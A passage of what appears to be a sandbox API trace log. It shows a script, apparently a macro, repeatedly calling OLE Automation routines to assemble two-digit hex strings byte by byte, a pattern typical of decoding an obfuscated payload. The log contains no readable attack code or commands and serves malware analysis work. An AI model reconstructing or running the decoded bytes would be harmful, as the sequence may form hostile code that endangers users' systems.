pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.125] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.125] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.126] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.126] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.126] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.126] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.126] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.126] VarBstrCat (in: bstrLeft="&H", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.126] VarBstrCat (in: bstrLeft="&H9", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.126] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.126] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.126] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.126] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.126] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.126] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.126] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.126] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.126] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.127] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.127] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.127] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.127] VarBstrCat (in: bstrLeft="&Hc", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.127] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.127] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.127] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.127] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.127] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.127] VarBstrCat (in: bstrLeft="&Hb", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.127] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.128] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.128] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.128] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.128] VarBstrCat (in: bstrLeft="&H0", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.128] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.128] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.128] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.128] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.128] VarBstrCat (in: bstrLeft="&H8", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.128] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.129] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.129] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.129] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.129] VarBstrCat (in: bstrLeft="&Hf", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.129] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.129] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.129] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.129] VarBstrCat (in: bstrLeft="&H", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.129] VarBstrCat (in: bstrLeft="&H9", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.129] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.130] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.130] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.130] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.130] VarBstrCat (in: bstrLeft="&H7", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.130] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.130] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.130] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.130] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.130] VarBstrCat (in: bstrLeft="&Hb", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.130] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.131] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.131] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.131] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.131] VarBstrCat (in: bstrLeft="&H0", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.131] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.131] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.131] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.131] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.131] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.131] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.132] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.132] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.132] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.132] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.132] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.132] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.132] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.132] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.132] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.132] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.132] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.133] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.133] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.133] VarBstrCat (in: bstrLeft="&H1", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.133] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.133] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.133] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.133] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.133] VarBstrCat (in: bstrLeft="&Hf", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.134] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.134] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.134] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.134] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.134] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.134] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.135] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.135] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.135] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.135] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.135] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.135] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.135] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.135] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.135] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.135] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.136] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.136] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.136] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.136] VarBstrCat (in: bstrLeft="&Ha", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.136] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.136] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.136] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.136] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.136] VarBstrCat (in: bstrLeft="&Hc", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.136] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.137] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.137] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.137] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.137] VarBstrCat (in: bstrLeft="&H3", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.137] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.137] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.137] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.137] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.137] VarBstrCat (in: bstrLeft="&H3", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.138] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.138] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.138] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.138] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.138] VarBstrCat (in: bstrLeft="&H7", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.138] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.138] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.138] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.138] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.138] VarBstrCat (in: bstrLeft="&Hf", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.138] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.139] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.139] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.139] VarBstrCat (in: bstrLeft="&H", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.139] VarBstrCat (in: bstrLeft="&Hd", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.139] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.139] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.139] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.139] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.139] VarBstrCat (in: bstrLeft="&H3", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.139] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.140] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.140] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.140] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.140] VarBstrCat (in: bstrLeft="&Ha", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.140] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.140] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.140] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.140] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.140] VarBstrCat (in: bstrLeft="&Ha", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.140] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.141] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.141] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.141] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.141] VarBstrCat (in: bstrLeft="&Ha", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.141] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.141] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.141] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.141] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.141] VarBstrCat (in: bstrLeft="&Ha", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.141] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.142] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.142] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.142] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.142] VarBstrCat (in: bstrLeft="&Ha", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.142] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.142] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.142] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.142] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.142] VarBstrCat (in: bstrLeft="&Ha", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.142] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.142] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.143] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.143] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.143] VarBstrCat (in: bstrLeft="&Ha", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.143] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.143] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.143] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.143] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.143] VarBstrCat (in: bstrLeft="&H1", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.143] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.143] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.143] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.143] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.143] VarBstrCat (in: bstrLeft="&Hb", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.144] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.144] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.144] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.144] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.144] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.144] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.144] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.144] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.144] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.144] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.144] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.145] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.145] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.145] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.145] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.145] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.145] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.145] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.145] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.145] VarBstrCat (in: 